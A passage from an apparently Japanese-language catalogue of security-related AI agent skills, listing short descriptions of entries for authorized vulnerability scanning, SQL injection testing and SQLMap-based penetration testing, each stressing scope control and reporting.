セキュリティチームには、承認済みの脆弱性スキャンと評価レポートのための一貫した方法が必要です。このスキルは、管理されたセキュリティレビューのために、一般的なツール、ワークフロー、出力、レポート作成手順を整理します。
セキュリティ＆コンプライアンス 表示
📦
sql-injection-testing
38SQLインジェクションを安全にテストする
作成者 sickn33
SQLインジェクションテストには、明確なスコープと慎重な証拠の取り扱いが必要です。このスキルは、許可を得たチームがチェックを計画し、技術を理解し、修正内容を報告するのに役立ちます。
セキュリティ＆コンプライアンス 表示
📦
sqlmap-database-penetration-testing
38SQLMapでSQLインジェクションを評価
作成者 sickn33
SQLインジェクションテストには、再現可能なチェックと厳格なスコープ管理が必要です。このスキルは、検出、列挙、レポート作成のための認可されたSQLMapワークフローをガイドします。
セキュリティ＆コンプライアンス 表示